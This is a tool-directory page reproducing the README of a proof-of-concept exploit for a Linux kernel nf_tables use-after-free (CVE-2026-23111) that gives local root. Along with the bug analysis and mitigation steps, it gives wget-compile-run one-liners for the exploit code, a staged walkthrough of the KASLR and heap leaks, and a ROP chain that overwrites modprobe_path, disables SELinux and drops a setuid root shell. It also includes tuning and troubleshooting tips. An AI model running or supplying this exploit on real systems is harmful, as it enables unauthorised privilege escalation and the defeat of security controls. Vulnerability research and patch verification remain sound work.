Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-23111 — Linux Kernel nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC | Kitploit
Tools/GitHubGitHub/baba01hacker666/cve-2026-23111
Privilege EscalationMemory ForensicsVulnerability AnalysisExploitationReverse EngineeringPapers & ResearchLearning & EducationBinary Exploitation
GitHubbaba01hacker666/cve-2026-23111

CVE-2026-23111

Linux Kernel nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC

View Repository
722 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-23111 PoC

Linux Kernel nf_tables Use-After-Free (Local Privilege Escalation) poc by baba01hacker

Vulnerability Summary

  • CVE: CVE-2026-23111
  • Type: Use-After-Free (CWE-416)
  • CVSS: 7.8 (HIGH)
  • Component: net/netfilter/nf_tables_api.c — nft_map_catchall_activate()
  • Root Cause: Inverted genmask check causes chain reference counter leak during transaction abort

Affected Kernel Versions

Version RangeFixed In
6.19-rc1 to 6.19-rc86.19-rc9+
6.13 to 6.18.96.18.10
6.7 to 6.12.696.12.70
6.4.1 to 6.5.xEOL (no stable fix)
6.3.10 to 6.3.xEOL
6.0.x, 6.2.xEOL
6.1.36 to 6.1.1626.1.163
5.15.121 to 5.15.1995.15.200
5.10.188+, 5.4.262+, 4.19.316+Various LTS

Vulnerability Details

CVE-2026-23111 is an nf_tables use-after-free caused by an inverted generation-mask check in nft_map_catchall_activate(). During rollback of a failed transaction, catchall verdict-map elements that were deactivated by NFT_MSG_DELSET must be reactivated so references such as NFT_GOTO chain references are restored. The catchall activation path instead skipped inactive elements and processed active ones, leaving deactivated catchall elements unrestored.

The correct non-catchall activation logic is:

root@kitploit:~
if (nft_set_elem_active(ext, iter->genmask))
    return 0; /* skip active, process inactive */

The vulnerable catchall path used the opposite condition:

root@kitploit:~
if (!nft_set_elem_active(ext, genmask))
    continue; /* skip inactive, process active */

When a deleted pipapo verdict map is rolled back, this prevents nft_setelem_data_activate() from running for the inactive catchall element. For NFT_JUMP/NFT_GOTO verdict data, the chain reference taken by nft_data_hold() is therefore not restored. Repeating the abort/toggle/delete sequence can drive chain->use to zero while another rule still contains a valid verdict reference to the chain. A later DELCHAIN can then free the chain while it remains reachable, creating the UAF.

Trigger Flow

root@kitploit:~
Create table, base chain, victim chain, and pipapo verdict map with catchall NFT_GOTO -> victim
        |
Batch 1: delete the pipapo set, then force a transaction error
        |
Abort path calls nft_map_catchall_activate(), but the inverted check skips the inactive catchall
        |
The catchall remains inactive and the victim chain reference count is not restored
        |
Batch 2: commit a benign transaction to toggle the generation cursor
        |
Batch 3: delete the pipapo set successfully, decrementing the victim chain reference again
        |
Batch 4: delete the victim chain while the base-chain verdict still references it
        |
Use-after-free when packet evaluation or rule dumping follows the dangling verdict reference

The upstream fix is to remove the negation so nft_map_catchall_activate() matches nft_mapelem_activate(): active elements are skipped, inactive elements are reactivated, and verdict/object references are restored during abort handling.

Test Only

root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json

Run PoC One-Liner

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d

v2 Fallback One-Liner

Use this if the full/v1 PoC fails on the target kernel.

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d

Local Build

Install build dependencies first if the compiler cannot find libmnl/libmnl.h or libnftnl headers:

root@kitploit:~
scripts/install-build-deps.sh
# or
make deps
root@kitploit:~
make          # Build exploit (PoC only)
make v2       # Build v2 exploit (FuzzingLabs approach — try when v1 fails)
make full     # Build full LPE exploit
make v3       # Build v3 calibrated eval-path variant
make run-d    # Run PoC with debug output
make run-v2-d # Run v2 with debug output
make run-v3   # Show v3 usage/help
make run-full # Run full LPE

Exploit Stages

Phase 1: UAF Trigger ✅ WORKING

Creates a pipapo map set with a catchall element (goto victim chain), then uses the inverted genmask bug during a DELSET abort to corrupt chain->use. After advancing the generation counter, DELCHAIN succeeds despite dangling references, freeing the chain.

Phase 2: KASLR Leak ✅ WORKING

After the UAF, chain->name memory is freed. We spray seq_operations structures (32 bytes) by opening /proc/self/stat to reclaim the freed slab cache slot. Reading back the base chain's immediate verdict rule via NFT_MSG_GETRULE dumps the reclaimed chain name, leaking kernel function pointers. Pointer validation ensures only canonical kernel text addresses are accepted.

Phase 3: Heap Address Leak ✅ WORKING

Re-triggers the UAF with a longer chain name (140 bytes → kmalloc-cg-192), then sprays nft_rule objects to reclaim the memory. The leaked list_head pointers reveal heap addresses in the direct map region.

Phase 4: Control Flow Hijack & ROP 🔧 Framework Complete

  • Two 192-byte rules with controlled data sprayed for fake nft_expr_ops and nft_rule_blob
  • Heap addresses from Phase 3 used to link fake blob → fake expr_ops pointers
  • 128-byte table userdata spray to overwrite freed chain's blob_gen_0
  • ROP chain: commit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq
  • ROP gadgets auto-scanned from /proc/kcore
  • Trigger packet sent through base chain to invoke hijacked expr->ops->eval

v2 Exploit (FuzzingLabs Approach)

The v2 exploit (exploit_v2.c) uses the techniques described in the FuzzingLabs writeup and can be used when the v1 PoC fails. Key differences:

v2 Leak Chain (init_ipc_ns arbitrary read)

root@kitploit:~
init_ipc_ns + 0x118  →  msg_ids.xa_head  →  msg_queue (tagged pointer)
msg_queue + 0xc0     →  q_messages.next  →  msg_msg heap address

Each step uses the freed chain struct as an arbitrary-read primitive: table userdata (128 bytes) reclaims the freed nft_chain in kmalloc-cg-128, and a kernel address placed at offset 0x40 (where chain->name lives) is dereferenced by the kernel during SET_B element dumps.

v3 Heap Calibration and ROP Chain (modprobe_path)

The v3 heap stage is offset-predicted rather than a true binary-safe arbitrary-read-via-eval primitive. Calibrate the target before running the final spray:

root@kitploit:~
grep msg_msg /proc/slabinfo
# Cross-reference with kmalloc-cg-2048 object density, then run with:
./exploit_v3 --msg-msg-addr 0xffff...
# or, when the value is known relative to the leaked kernel base:
./exploit_v3 --msg-msg-delta 0x...

Verify the nftables structure offsets against the exact kernel build:

root@kitploit:~
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)

Gadget scanning uses /proc/kcore; if it is restricted, extract gadgets from vmlinux offline and hardcode addresses relative to the leaked kernel base. The v3 packet eval path uses push rdi; pop rsp because rdi = expr; this differs from the v2 validate path, where rsi = expr.

root@kitploit:~
push rdi; pop rsp; pop rbp; ret           ← stack pivot (rdi = expr)
pop rdi; ret → &modprobe_path              \
pop rax; ret → "/tmp/pe\0"                 │ write modprobe_path
mov [rdi], rax; ret                        /
pop rdi; ret → &selinux_state             \
xor eax, eax; ret                          │ disable SELinux
mov [rdi], eax; ret                        /
pop rdi; ret → 10000                       \
msleep                                      │ keep kernel alive

The /tmp/pe script runs as root when the kernel invokes modprobe_path after encountering an unknown binary format. It creates a setuid root shell at /tmp/rootbash.

When to use v2 vs v1

  • v1 fails at KASLR leak: v2 uses NFT_MSG_GETELEM (different kernel code path) instead of NFT_MSG_GETRULE
  • v1 fails at heap leak: v2 uses the init_ipc_ns global variable to walk kernel data structures instead of spraying nft_rule objects
  • v1 fails at hijack: v2 uses msg_msg-2k (large, stable buffer) instead of nft_rules + table userdata for the ROP payload
  • v1 fails at privesc: v2 uses modprobe_path (works without swapgs/iretq) instead of commit_creds + namespace switch
  • Kernel has SLAB_RANDOM/hardening: v2's init_ipc_ns chain targets a stable global, making heap layout less critical

Technical Details

The Bug

In nft_map_catchall_activate() (net/netfilter/nf_tables_api.c):

root@kitploit:~
list_for_each_entry(catchall, &set->catchall_list, list) {
    ext = nft_set_elem_ext(set, catchall->elem);
    if (!nft_set_elem_active(ext, genmask))  // BUG: should be without '!'
        continue;
    nft_clear(ctx->net, ext);
    nft_setelem_data_activate(ctx->net, set, catchall->elem);
    break;
}

The ! causes the function to skip INACTIVE elements instead of processing them. During transaction abort, the catchall element (which was just deactivated by DELSET) is skipped, so nft_data_hold() is never called to restore the chain reference counter.

Exploit Mechanism

  1. Create pipapo map set with catchall element → goto victim chain
  2. Batch A: DELSET + invalid op → abort → chain->use stays at 0
  3. Batch B: Valid transaction → advance genid
  4. Batch C: DELSET → succeeds
  5. Batch D: DELCHAIN → chain freed (chain->use == 0, but dangling ref exists)
  6. Set's catchall element still references freed chain name → spray + readback

Files

root@kitploit:~
├── CVE-2026-23111-checker.py   Vulnerability detection script (--detailed, --json)
├── exploit.c                   PoC exploit (UAF + KASLR leak + heap leak)
├── exploit_v2.c                v2 exploit (FuzzingLabs approach — try when v1 fails)
├── exploit_full.c              Full LPE exploit (UAF + leaks + ROP chain)
├── exploit_full_aarch64        Pre-built aarch64 binary (static)
├── exploit_full.b64            Base64-encoded full exploit binary
├── Makefile                    Build configuration
└── README.md                   This file

Build Requirements

root@kitploit:~
apt-get install -y libmnl-dev libnftnl-dev gcc make python3

Cross-Compilation (aarch64)

root@kitploit:~
apt-get install -y gcc-aarch64-linux-gnu
make aarch64

Debug Build (with AddressSanitizer)

root@kitploit:~
make debug          # PoC with ASan
make debug-full     # Full exploit with ASan

Checker Script

The checker performs multiple detection methods:

  • Version matching: Checks kernel version against all known vulnerable ranges (including rc kernels)
  • Module detection: Checks if nf_tables kernel module is loaded
  • Kernel config: Reads CONFIG_NF_TABLES from /proc/config.gz or /boot/config-*
  • Symbol check: Looks for nft_map_catchall_activate in /proc/kallsyms
  • Namespace settings: Checks kernel.unprivileged_userns_clone sysctl
  • Risk scoring: Combines all indicators into a 0-6 risk score
root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed   # Human-readable with mitigations
python3 CVE-2026-23111-checker.py --json        # Machine-readable JSON

Troubleshooting

References

  • FuzzingLabs - Reproducing CVE-2026-23111
  • Exodus Intel Blog - Detailed Analysis
  • NVD Entry
  • Kernel Patch 1
  • Kernel Patch 2

Mitigation

  1. Update kernel to patched version (6.18.10+, 6.12.70+, 6.6.124+, etc.)
  2. Disable unprivileged user namespaces: sysctl kernel.unprivileged_userns_clone=0
  3. Blacklist nf_tables module if not needed:
    root@kitploit:~
    echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
    
Download Tool
Componentv1 (exploit.c)v2 (exploit_v2.c)
UAF triggerSingle set + immediate goto ruleTwo sets (FuzzingLabs style) + lookup rule
KASLR readbackNFT_MSG_GETRULE (rule dump)NFT_MSG_GETELEM (element dump) + GETRULE fallback
Heap leaknft_rule spray + list_head leakinit_ipc_ns arbitrary-read chain
ROP hostnft_rules + table userdatamsg_msg-2k (2048-byte message)
Hijack triggerPacket eval on immediate gotoPacket eval on surviving set catchall
Privilege escalationcommit_creds + switch_task_namespacesmodprobe_path overwrite + SELinux disable
Return pathswapgs; iretqmsleep() (stays in kernel)
ProblemSolution
mnl_socket_open: No such file or directoryEnsure nf_tables module is loaded: modprobe nf_tables
unshare: Operation not permittedRequires unprivileged user namespaces. Check kernel.unprivileged_userns_clone=1
Batch A did NOT abortKernel may be patched or the genmask behavior differs
No kernel pointer leakedKASLR hardening or SLAB_RANDOM may be in effect; try multiple runs
No heap pointer foundHeap spray collision rate is probabilistic; retry or increase spray count
Compilation: nf_tables.h: No such fileInstall kernel headers: apt install linux-headers-$(uname -r)
Link error: undefined reference to mnl_*Link order matters: -lnftnl -lmnl (nftnl before mnl)